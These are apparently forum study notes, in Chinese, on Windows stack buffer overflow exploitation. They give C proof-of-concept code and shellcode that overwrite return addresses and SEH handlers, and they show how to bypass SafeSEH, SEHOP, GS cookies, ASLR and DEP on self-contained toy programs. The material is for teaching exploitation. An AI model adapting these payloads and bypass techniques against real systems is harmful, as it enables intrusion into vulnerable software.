Windows平台下栈溢出漏洞学习笔记
本文为看雪论坛优秀文章
看雪论坛作者ID:1900
一
漏洞原理
void test(char *pSzInput)
{
char szStr[0x8] = { 0 };
strcpy(szStr, pSzInput);
}
int main()
{
char szInput[0x100] = { 0 };
int iInputLen = 0x8;
memset(szInput, 'A', iInputLen);
test(szInput);
system("pause");
return 0;
}
int main()
{
char szInput[0x100] = { 0 };
int iInputLen = 0x10;
memset(szInput, 'A', iInputLen);
test(szInput);
system("pause");
return 0;
}
2、漏洞利用
char g_szShellCode[] = {
0x33, 0xDB, // xor ebx, ebx
0x53, // push ebx,将字符串的结束符0压入栈中
0x68, 0x68, 0x61, 0x63, 0x6B, // push 0x6B636168,将字符串"hack"压入栈中
0x8B, 0xC4, // mov eax, esp,将字符串的首地址赋给eax
0x53, // push ebx
0x50, // push eax
0x50, // push eax
0x53, // push ebx
0xB8, 0x0B, 0x05, 0xD5, 0x77, // mov eax, user32.MessageBox
0xFF, 0xD0, // call eax
0x53, // push ebx
0xB8, 0xA2, 0xCA, 0x81, 0x7C, // mov eax, user32.ExitProcess
0xFF, 0xD0 // call eax
};
int main()
{
char szInput[0x100] = { 0 };
int iJunkLen = 0x8;
int iEbpLen = 0x4;
int iRetLen = 0x4;
DWORD dwRetAddr = 0x7C961EED; // jmp esp地址
LoadLibrary("user32.dll"); // MessageBox函数在该中,需要将其导入才可以调用
memset(szInput, 'A', iJunkLen); // 覆盖局部变量szStr
memset(szInput + iJunkLen, 'B', iEbpLen); // 覆盖ebp
*(PDWORD)(szInput + iJunkLen + iEbpLen) = dwRetAddr; // 覆盖返回地址
strcpy(szInput + iJunkLen + iEbpLen + iRetLen, g_szShellCode); // 保存ShellCode
test(szInput);
system("pause");
return 0;
}
二
Windows安全机制
三
通过SEH实现漏洞利用
1、利用原理
① 精心制造的溢出数据可以把SEH中异常处理函数的入口地址更改为shellcode的起始地址
② 溢出后错误的栈往往会触发异常
③ 当Windows开始处理溢出后的异常时,会错误地把shellcode当作异常处理函数而执行
EXCEPTION_DISPOSITION except_handler(_EXCEPTION_RECORD *ExceptionRecord,
void *EstablisherFrame,
_CONTEXT *ContextRecord,
void *DispatcherContext);
// 注册异常处理器
__asm
{
push except_handler // 处理器结构指针
push fs:[0] // 前一个结构化异常处理器的地址
mov fs:[0], esp // 登记新的结构
}
test(szInput);
// 销毁异常处理器
__asm
{
mov eax, [esp] // 从栈顶取得前一个异常登记结构的地址
mov fs:[0], eax // 将前一个异常结构的地址赋给
add esp, 8 // 清理栈上的异常登记结构
}
int main()
{
char szInput[0x100] = { 0 };
int iJunkLen = 0x18;
LoadLibrary("user32.dll"); // MessageBox函数在该中,需要将其导入才可以调用
memset(szInput, 'A', iJunkLen); // 覆盖异常处理函数之前的数据
*(PDWORD)(szInput + iJunkLen) = (DWORD)g_szShellCode; // 将异常处理函数修改为SellCode的地址
// 注册异常处理器
__asm
{
push except_handler // 处理器结构指针
push fs:[0] // 前一个结构化异常处理器的地址
mov fs:[0], esp // 登记新的结构
}
system("pause");
test(szInput);
// 销毁异常处理器
__asm
{
mov eax, [esp] // 从栈顶取得前一个异常登记结构的地址
mov fs:[0], eax // 将前一个异常结构的地址赋给
add esp, 8 // 清理栈上的异常登记结构
}
system("pause");
return 0;
}
2、SafeSEH
① 检查异常处理链是否位于当前程序的栈中。如果不在当前栈中,程序将终止异常处理函数的调用。
② 检查异常处理函数指针是否指向当前程序的栈中。如果指向当前栈中,程序将终止异常处理函数的调用。
③ 在前两项检查都通过后,程序调用一个全新的函数RtlIsValidHandler(),来对异常处理函数的有效性进行验证。
检测程序是否包含SEH表。如果程序包含SEH表,则将当前的异常处理函数地址与该表进行匹配,匹配成功则返回校言成功,匹配失败则返回校验失败;
判断程序是否设置了ILonly标识。如果设置了这个标识,说明该程序只包含.NET编译的中间语言,函数直接返回校验失败;
3、从堆中绕过SafeSEH
int main()
{
char *buf = (char *)malloc(100);
char szInput[0x100] = { 0 };
int iJunkLen = 0x18;
LoadLibrary("user32.dll"); // MessageBox函数在该中,需要将其导入才可以调用
// 将ShellCode复制到堆中
memset(buf, 0, 100);
strcpy(buf, g_szShellCode);
memset(szInput, 'A', iJunkLen); // 覆盖异常处理函数之前的数据
*(PDWORD)(szInput + iJunkLen) = (DWORD)buf; // 将异常处理函数修改为申请的堆的地址
// 注册异常处理器
__asm
{
push except_handler // 处理器结构指针
push fs:[0] // 前一个结构化异常处理器的地址
mov fs:[0], esp // 登记新的结构
}
test(szInput);
// 销毁异常处理器
__asm
{
mov eax, [esp] // 从栈顶取得前一个异常登记结构的地址
mov fs:[0], eax // 将前一个异常结构的地址赋给
add esp, 8 // 清理栈上的异常登记结构
}
system("pause");
return 0;
}
4、利用未启用SafeSEH模块绕过SEH
int main()
{
char szInput[0x100] = { 0 };
int iJunkLen = 0x18;
LoadLibrary("SEH_NoSafeSEH_JUMP.dll"); // 导入关闭SafeSEH的模块
LoadLibrary("user32.dll"); // MessageBox函数在该中,需要将其导入才可以调用
memset(szInput, 'A', iJunkLen); // 覆盖异常处理函数之前的数据
*(PDWORD)(szInput + iJunkLen) = (DWORD)0x11121014; // 要跳转到的未开启SafeSEH的模块的地址
system("pause");
// 注册异常处理器
__asm
{
push except_handler // 处理器结构指针
push fs:[0] // 前一个结构化异常处理器的地址
mov fs:[0], esp // 登记新的结构
}
test(szInput);
// 销毁异常处理器
__asm
{
mov eax, [esp] // 从栈顶取得前一个异常登记结构的地址
mov fs:[0], eax // 将前一个异常结构的地址赋给
add esp, 8 // 清理栈上的异常登记结构
}
system("pause");
return 0;
}
5、利用加载模块之外的地址绕过SafeSEH
四
SEHOP
图中的0xXXXXXXXX地址必须指向当前栈中,而且必须能够被4整除;
0xXXXXXXXX处存放的异常处理记录作为SEH的最后一项,其异常处理函数指针必须指向终极异常处理函数;
突破SEHOP检查后,溢出程序还需要搞定SafeSEH。
五
GS安全机制
1、保护原理
在所有函数调用发生时,向栈帧内压入一个额外的随机DWORD,这个随机数被称为"canary",但如果使用IDA反汇编的话,会看到IDA将这个随机数标注为"Security Cookie"。
"Security Cookie"位于EBP之前,系统还将在.data的内存区域中存放一个Security Cookie的副本,如图10.1.2所示。
当栈中发生溢出时,Security Cookie将被首先淹没,之后才是EBP和返回地址。
在函数返回之前,系统将执行一个额外的安全验证操作,被称作Security check。
在Security check的过程中,系统将比较栈帧中原先存放的Security Cookie和.data中副本的值,如果两者不吻合,说明栈帧中的Security Cookie已被破坏,即栈中发生了溢出。
当检测到栈中发生溢出时,系统将进入异常处理流程,函数不会被正常返回,ret指令也不会被执行,如图10.1.3所示。
函数不包含缓冲区 函数被定义为具有变量参数列表 函数使用无保护的关键字标记 函数在第一个语句中包含内嵌汇编代码 缓冲区不是8字节类型且大小不大于4个字节
#pragma strict_gs_check
#pragma strict_gs_check(on)
void func()
{
char szStr[4];
}
void test(char *pSzInput)
{
00401030 push ebp
00401031 mov ebp,esp
00401033 sub esp,4Ch
00401036 mov eax,dword ptr [___security_cookie (456020h)] // 将Security Cookie赋值给eax
0040103B xor eax,ebp // 将eax与ebp的值异或
0040103D mov dword ptr [ebp-4],eax // 将异或以后的结果赋给[ebp - 4]
00401040 push ebx
00401041 push esi
00401042 push edi
char szStr[0x8] = { 0 };
00401043 mov byte ptr [ebp-0Ch],0
00401047 xor eax,eax
00401049 mov dword ptr [ebp-0Bh],eax
0040104C mov word ptr [ebp-7],ax
00401050 mov byte ptr [ebp-5],al
strcpy(szStr, pSzInput);
00401053 mov eax,dword ptr [ebp+8]
00401056 push eax
00401057 lea ecx,[ebp-0Ch]
0040105A push ecx
0040105B call strcpy (4013F0h)
00401060 add esp,8
}
00401063 pop edi
00401064 pop esi
00401065 pop ebx
00401066 mov ecx,dword ptr [ebp-4] // 取出[ebp - 4]的值赋给ecx
00401069 xor ecx,ebp // 将ecx的值与ebp异或
0040106B call __security_check_cookie (4014F0h) // 调用Security Check函数
00401070 mov esp,ebp
00401072 pop ebp
00401073 ret
系统以.data节的第一个双子作为Cookie的种子,或称原始Cookie(所有函数的Cookie都是用这个DWORD生成);
在程序每次运行时Cookie的种子都不同,因此种子有很强的随机性;
在栈帧初始化以后系统用EBP异或种子,作为当前函数的Cookie,以此作为不同函数之间的区别,并增加Cookie的随机性;
在函数返回前,用EBP还原出(异或)Cookie的种子。
2、突破GS保护
void test(char *pSzInput, char *buf, int i)
{
char szStr[0x8] = { 0 };
if (i < 0x100)
{
*(PDWORD)(buf + i) = *(PDWORD)pSzInput;
strcpy(szStr, pSzInput);
}
}
int main()
{
char *buf = (char *)malloc(0x10000);
char szInput[0x100] = { 0 };
int iSize = 4;
LoadLibrary("user32.dll"); // MessageBox函数在该DLL中,需要将其导入才可以调用
*(PDWORD)szInput = 0x90909090; // 用来修改.data中的Security Cookie值
memset(szInput + iSize, 'A', iSize); // 覆盖局部变量szStr
*(PDWORD)(szInput + iSize + iSize) = 0x90826E90; // 覆盖栈中的Security Cookie
memset(szInput + iSize + iSize + iSize, 'B', iSize); // 覆盖ebp
*(PDWORD)(szInput + iSize + iSize + iSize + iSize) = 0x7C961EED; // 覆盖返回地址为jmp esp指令地址
strcpy(szInput + iSize + iSize + iSize + iSize + iSize, g_szShellCode); // 复制ShellCode
test(szInput, buf, -0xB048);
system("pause");
return 0;
}
六
ASLR安全机制
1、保护原理
设置为0时映像随机化禁用;
设置为-1时强制对可随机化的映像进行处理,无论是否设置IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标识;
设置为其他值时为正常工作模式,只对具有随机化处理标识的映像进行处理。
void test()
{
char szStr[0x4];
char *pHead = (char *)malloc(0x4);
printf("Stack Addr:0x%X\nHeap Addr:0x%X\n", (DWORD)szStr, (DWORD)pHead);
}
2、ASLR的绕过
如果通过memcpy类的函数攻击的话就可以将后16位的偏移改为0x0000~0xFFFF中的任意一个;如果是通过strcpy来攻击的话,因此这类函数会在复制结束后自动添加0x00,所以此时可以控制的范围是0x0000~0x00FF
char g_szExploit[262] = { 0 };
void test()
{
char szStr[256] = { 0 };
memcpy(szStr, g_szExploit, 262);
}
int main()
{
LoadLibrary("user32.dll"); // MessageBox函数在该DLL中,需要将其导入才可以调用
memcpy(g_szExploit, g_szShellCode, sizeof(g_szShellCode)); // 复制ShellCode
memset(g_szExploit + sizeof(g_szShellCode), 0x90, 0x104 - sizeof(g_szShellCode) - 2); // 覆盖剩余空间
*(PSHORT)(g_szExploit + 0x104 - 2) = 0xXXXX; // 覆盖返回地址的偏移地址
test();
system("pause");
return 0;
}
七
DEP安全机制
1、保护原理
通过跳转到ZwSetInformationProcess函数将DEP关闭后再转入shellcode执行;
通过跳转到VirtualProcess函数来将shellcode所在的内存页设置为可执行状态,然后再转入shellcode执行;
通过跳转到VirtualAlloc函数开辟一段具有执行权限的内存空间,然后将shellcode复制到这段内存中执行。
2、ZwSetInformationProcess
kd> dt _KEXECUTE_OPTIONS
nt!_KEXECUTE_OPTIONS
+0x000 ExecuteDisable : Pos 0, 1 Bit
+0x000 ExecuteEnable : Pos 1, 1 Bit
+0x000 DisableThunkEmulation : Pos 2, 1 Bit
+0x000 Permanent : Pos 3, 1 Bit
+0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
+0x000 ImageDispatchEnable : Pos 5, 1 Bit
+0x000 Spare : Pos 6, 2 Bits
NTSTATUS
WINAPI
ZwSetInformationProcess(__in HANDLE ProcessHandle,
__in PROCESSINFOCLASS ProcessInformationClass,
__out PVOID ProcessInformation,
__in ULONG ProcessInformationLength);
char g_szExploit[100] = { 0 };
void test()
{
char szStr[0x8] = { 0 };
memcpy(szStr, g_szExploit, sizeof(g_szExploit));
}
int main()
{
DWORD dwFuncAddr = 0x7C92E62D; // ZwSetInformationProcess函数地址
DWORD dwRetAddr = 0x7C961EED; // jmp esp地址
LoadLibrary("user32.dll"); // MessageBox函数在该中,需要将其导入才可以调用
*(PDWORD)g_szExploit = 0x2; // 参数三的值
memset(g_szExploit + 4, 'A', 0x8);
*(PDWORD)(g_szExploit + 0xC) = dwFuncAddr; // 跳转到ZwSetInformationProcess函数地址
*(PDWORD)(g_szExploit + 0x10) = dwRetAddr; // 覆盖返回地址(jmp esp)
*(PDWORD)(g_szExploit + 0x14) = -1; // 4个参数
*(PDWORD)(g_szExploit + 0x18) = 0x22;
*(PDWORD)(g_szExploit + 0x1C) = (DWORD)g_szExploit;
*(PDWORD)(g_szExploit + 0x20) = 0x4;
memcpy(g_szExploit + 0x24, g_szShellCode, sizeof(g_szShellCode)); // 保存ShellCode
test();
system("pause");
return 0;
}
参考资料:
《0day安全:软件漏洞分析技术》
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
2.内核漏洞学习-HEVD-UninitializedStackVariable
4.内核漏洞学习-HEVD-NullPointerDereference
6.Windows内核逆向——<中断处理 从硬件机制到用户驱动接管>
球分享
球点赞
球在看
点击“阅读原文”,了解更多!